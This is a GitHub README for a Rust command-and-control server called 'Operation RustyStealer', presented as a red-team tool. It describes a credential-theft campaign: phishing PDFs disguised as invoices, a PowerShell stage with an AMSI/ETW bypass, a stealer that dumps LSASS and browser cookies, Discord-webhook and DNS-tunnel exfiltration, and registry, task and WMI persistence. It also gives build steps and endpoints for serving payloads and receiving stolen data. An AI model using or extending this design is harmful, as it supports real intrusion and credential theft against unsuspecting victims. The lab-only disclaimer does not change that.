techleadevelopers/research-sniper-injections
GitHub: techleadevelopers/research-sniper-injections
一个基于Rust/Tokio/Axum技术栈的红队C2框架,专注于隐蔽的数据窃取、加密外传和多渠道持久化,用于授权环境下的安全评估行动。
Stars: 1 | Forks: 0
# GhostInject - 红队行动
完整技术文档
## 📋 目录
* 概述
* 系统架构
* 前置条件
* 安装与配置
* 项目结构
* 环境配置
* 运行服务器
* API 端点
* Web Dashboard
* 安全与加固
* 监控与日志
* 故障排除
* 路线图
* 支持与联系方式
* 免责声明
* 许可证
## 🎯 概述
**Operation RustyStealer** 是一个用 Rust 开发的 C2 (Command & Control) 系统,用于授权实验室环境中的红队行动。该系统允许管理多个目标、收集窃取的数据,并与植入的 Agent 保持持久通信。
### 主要特性
| 特性 | 描述 |
| :--- | :--- |
| **高性能** | 使用 Rust 和 `tokio` async 编写,支持数百个并发连接 |
| **安全存储** | SQLite,数据静态加密 |
| **多种 Payload** | 支持不同的攻击阶段(`stager`、`stealer`、`persistence`)|
| **Web Dashboard** | 用于实时监控的 Web 界面 |
| **通知** | 通过 Discord webhook 发送关键事件警报 |
| **结构化日志** | 详细的日志用于取证分析 |
```
┌─────────────────────────────────────────────────────────────────┐
│ 1. VETOR DE ENTREGA │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 📧 Phishing e-mail com PDF anexo │
│ 📱 WhatsApp com PDF disfarçado (fatura, boleto, contrato) │
│ 🌐 Smart Click — página falsa que força download do PDF │
│ │
│ O PDF contém: │
│ ├─ Macro maliciosa (se for PDF com macro) │
│ ├─ JavaScript exploit (CVE-2018-4990, CVE-2020-0601, etc.) │
│ └─ Ou simplesmente instrução pra abrir e "executar" │
│ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 2. EXECUÇÃO INVISÍVEL │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Ao abrir o PDF: │
│ ├─ Macro executa silenciosamente (sem alerta) │
│ ├─ Ou exploit de JavaScript baixa o payload em memória │
│ └─ Ou PDF chama PowerShell com one-liner │
│ │
│ O que executa: │
│ └─ stage1.ps1 (AMSI/ETW bypass + download do stealer.exe) │
│ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 3. STEALER (Rust) │
├─────────────────────────────────────────────────────────────────┤
│ │
│ stealer.exe (compilado com as flags de release): │
│ ├─ Anti-debug + sandbox detection │
│ ├─ Dump LSASS (credenciais) │
│ ├─ Extrai cookies/creds dos navegadores │
│ ├─ Coleta documentos sensíveis │
│ ├─ Criptografa (AES) e envia pro C2 │
│ └─ Envia backup via Discord webhook │
│ │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ 4. C2 E PERSISTÊNCIA │
├─────────────────────────────────────────────────────────────────┤
│ │
│ C2 Server (Rust/Axum): │
│ ├─ Recebe dados via /exfil │
│ ├─ Armazena em SQLite criptografado │
│ ├─ Dashboard web pra operador │
│ └─ Notifica Discord │
│ │
│ Persistência: │
│ ├─ WMI Event Subscription │
│ ├─ Scheduled Task │
│ └─ Registry Run Keys │
│ │
│ DNS C2 (fallback): │
│ └─ Se HTTP bloqueado, exfiltra via DNS tunneling │
│ │
└─────────────────────────────────────────────────────────────────┘
```
## 🏗️ 系统架构
```
┌─────────────────────────────────────────────────────────────┐
│ C2 Server (Rust) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ HTTP API │ │ SQLite │ │ Dashboard Web │ │
│ │ (Axum) │◄─┤ Database │ │ (HTML/CSS/JS) │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
│ ▲ ▲ ▲ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────────────────────────────────────────────┐ │
│ │ Payload Repository (Static) │ │
│ │ stage1.ps1 │ stealer.exe │ persistence.ps1 │ │
│ └─────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
│
│ HTTPS
▼
┌─────────────────────────────────────────────────────────────┐
│ Alvos (Providers) │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────┐ │
│ │ Windows 10 │ │ Windows 11 │ │ Windows Server │ │
│ │ (Agent) │ │ (Agent) │ │ (Agent) │ │
│ └─────────────┘ └─────────────┘ └─────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
```
## 📦 前置条件
### 推荐硬件配置
| 组件 | 最低 | 推荐 |
|------------|--------|-------------|
| CPU | 1 core | 2+ cores |
| RAM | 512 MB | 2 GB |
| 磁盘 | 10 GB | 50 GB+ |
### 必需软件
| 软件 | 版本 | 检查命令 |
|----------|--------|------------------------|
| Rust | 1.70+ | `rustc --version` |
| Cargo | 1.70+ | `cargo --version` |
| Git | 2.0+ | `git --version` |
| SQLite | 3.0+ | `sqlite3 --version` |
### 安装 Rust
```
# Linux/macOS
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
```
```
# Windows
Baixe e execute: https://rustup.rs/
```
## 🛠️ 安装与配置
### 1. 克隆仓库
```
git clone https://github.com/your-org/operation-rustystealer.git
cd operation-rustystealer/c2-server
```
### 2. 创建必要目录
```
mkdir -p data/alvos
mkdir -p data/exfils
mkdir -p data/logs
mkdir -p payloads/windows
mkdir -p payloads/linux
mkdir -p static/css
mkdir -p static/js
mkdir -p static/img
```
### 3. 编译 Stealer
```
cd ../lsass_dumper
cargo build --release
strip target/release/lsass_dumper.exe
cp target/release/lsass_dumper.exe ../c2-server/payloads/windows/stealer.exe
ls -la ../c2-server/payloads/windows/stealer.exe
```
### 4. 配置 `config.toml` 文件
```
cp config.toml.example config.toml
vim config.toml
```
## 📁 项目结构
```
c2-server/
├── src/
│ ├── main.rs
│ ├── handlers.rs
│ ├── database.rs
│ ├── crypto.rs
│ ├── models.rs
│ ├── config.rs
│ ├── auth.rs
│ ├── logging.rs
│ └── alerts.rs
├── templates/
│ └── dashboard/
│ ├── index.html
│ ├── alvo.html
│ └── login.html
├── static/
│ ├── css/
│ │ └── dashboard.css
│ └── js/
│ └── dashboard.js
├── payloads/
│ ├── windows/
│ │ ├── stealer.exe
│ │ ├── stage1.ps1
│ │ └── persistence.ps1
│ └── linux/
├── data/
│ ├── alvos/
│ ├── exfils/
│ ├── logs/
│ └── c2.db
├── certs/
│ ├── cert.pem
│ └── key.pem
├── scripts/
│ ├── backup.sh
│ ├── cleanup.sh
│ └── monitor.sh
├── Cargo.toml
├── Cargo.lock
├── config.toml
├── config.toml.example
├── README.md
└── .env.example
```
## ⚙️ 环境配置
### 环境变量
```
C2_SERVER__HOST=0.0.0.0
C2_SERVER__PORT=8443
C2_AUTH__API_KEY=my-super-secret-key
C2_DATABASE__PATH=./data/c2.db
```
### TLS 证书
```
mkdir -p certs
openssl req -x509 -newkey rsa:4096 -keyout certs/key.pem -out certs/cert.pem -days 365 -nodes -subj "/CN=localhost"
```
```
Para produção, use certificados válidos, como Let's Encrypt.
```
## 🚀 运行服务器
### 开发模式 (HTTP)
```
cargo run
# 或
cargo build --release
./target/release/c2-server
```
### 生产模式 (HTTPS)
```
cargo build --release
./target/release/c2-server
```
```
Configure `tls_enabled = true` no `config.toml`
e garanta que os certificados existam em `certs/`.
```
### 使用 Docker
```
FROM rust:1.70-slim as builder
WORKDIR /app
COPY . .
RUN cargo build --release
FROM debian:bookworm-slim
RUN apt-get update && apt-get install -y ca-certificates && rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /app/target/release/c2-server /app/
COPY --from=builder /app/config.toml /app/
COPY --from=builder /app/payloads /app/payloads/
COPY --from=builder /app/static /app/static/
COPY --from=builder /app/templates /app/templates/
EXPOSE 8443
CMD ["./c2-server"]
```
### 验证服务器是否正在运行
```
curl http://localhost:8443/health
```
```
Resposta esperada:
{"status":"healthy","timestamp":"2026-03-30T10:00:00Z"}
```
## 🔌 API 端点
### Base URL
```
http://localhost:8443
```
## 🖥️ Web Dashboard
```
O dashboard web permite acompanhar alvos ativos, eventos de exfiltração,
status de beacons e indicadores operacionais em tempo real.
```
## 🔒 安全与加固
### 1. JWT 认证
为 Dashboard 和管理 API 启用 JWT 认证:
```
[auth]
jwt_secret = "YOUR_VERY_STRONG_SECRET_KEY_MIN_32_CHARS"
jwt_expiry_hours = 24
```
### 2. Agent API Key
每个 Agent 使用服务器上配置的固定 API Key:
```
[auth]
api_key = "RANDOM_STRING_AT_LEAST_32_CHARS"
```
### 3. TLS/SSL (HTTPS)
```
[server]
tls_enabled = true
cert_file = "./certs/cert.pem"
key_file = "./certs/key.pem"
```
### 4. Rate Limiting
防止暴力破解和 DDoS 攻击:
```
// Já implementado via tower_http
use tower_http::limit::RequestBodyLimitLayer;
```
### 5. IP 白名单(可选)
```
[security]
allowed_ips = ["192.168.1.0/24", "10.0.0.0/8"]
deny_all_others = true
```
### 6. 审计日志
记录所有访问:
```
[2026-03-30 10:23:45] INFO [ACCESS] IP: 192.168.1.100 | Endpoint: /exfil | Status: 200
[2026-03-30 10:23:46] INFO [ACCESS] IP: 10.0.0.1 | Endpoint: /dashboard | Status: 200
```
## 📈 监控与日志
### 结构化日志
```
# 查看实时日志
tail -f data/logs/c2.log
```
```
{"timestamp":"2026-03-30T10:23:45Z","level":"INFO","message":"Exfil received","alvo_id":"alvo-001","data_type":"lsass_dump","size":47102400}
```
### Prometheus 指标(可选)
```
// Endpoint para métricas
.route("/metrics", get(prometheus_handler))
```
### Health Check 端点
```
curl http://localhost:8443/health
```
```
{
"status": "healthy",
"version": "0.1.0",
"uptime_seconds": 3600,
"database_status": "connected",
"total_alvos": 4,
"active_beacons": 3
}
```
## 🔧 故障排除
### 常见问题与解决方案
| 问题 | 可能原因 | 解决方案 |
|----------|----------------|---------|
| 服务器无法启动 | 端口被占用 | 在 `config.toml` 中更改端口或结束占用该端口的进程 |
| 数据库错误 | 写入权限 | 调整 `data/` 和 `data/c2.db` 的权限 |
| Payload 无法下载 | 路径不正确 | 检查文件是否存在于 `payloads/windows/stealer.exe` |
| Dashboard 无法加载 | 模板缺失 | 检查 `templates/dashboard/index.html` 是否存在 |
| Agent 无法连接 | API Key 无效 | 确认 `config.toml` 中的 API Key 与 Agent 一致 |
| Exfil 数据过大 | Payload 大小限制 | 在 `config.toml` 中增加 `max_payload_size` |
### 调试模式
```
RUST_LOG=debug cargo run
```
```
[logging]
level = "debug"
```
## 🗺️ 路线图
### 第一阶段 (MVP) ✅
* 基于 Axum 的基本 HTTP 服务器
* `/exfil` 端点用于接收数据
* `/beacon` 端点用于心跳
* `/payload` 端点用于分发 Agent
* SQLite 数据库存储
* 基本的 Web Dashboard
### 第二阶段(当前)🔄
* JWT 认证
* Discord/Telegram 通知
* 结构化日志
* 数据压缩
* 静态数据加密
### 第三阶段(下一步)📅
* 操作员 CLI 界面
* 多租户支持
* Grafana 集成
* Payload 自动更新
* 支持 Linux/macOS
* Exfil 自动分析
### 第四阶段(未来)🚀
* WebSocket 双向通信
* Pivoting 和横向移动
* AI 规避技术
* 带世界地图的 Dashboard
* 自动报告
## 📞 支持与联系方式
关于授权实验室环境中的项目问题:
* 技术文档:仓库中的 `/docs`
* Issues:GitHub Issues,仅用于 Bug 反馈
* 内部聊天:红队 Matrix/Slack 频道
## ⚠️ 免责声明
本项目仅用于教育目的和在授权环境中进行安全测试。
严禁将此软件用于任何未经授权的活动。开发者不对软件的滥用或由此造成的损害承担责任。
## 📄 许可证
本项目基于 MIT 许可证授权。详情请参阅 `LICENSE` 文件。
标签:AI合规, C2框架, Discord通知, DNS 反向解析, HTTP工具, IP 地址批量处理, Rust编程, SQLite, Web仪表盘, Windows内核, 中高交互蜜罐, 可视化界面, 命令控制, 安全学习资源, 库, 应急响应, 异步编程, 恶意软件开发, 持久化控制, 攻击模拟, 数据渗出, 数据窃取, 数据采集, 白帽子, 网络安全, 计算机病毒, 请求拦截, 通知系统, 隐私保护, 隐蔽通信, 驱动签名利用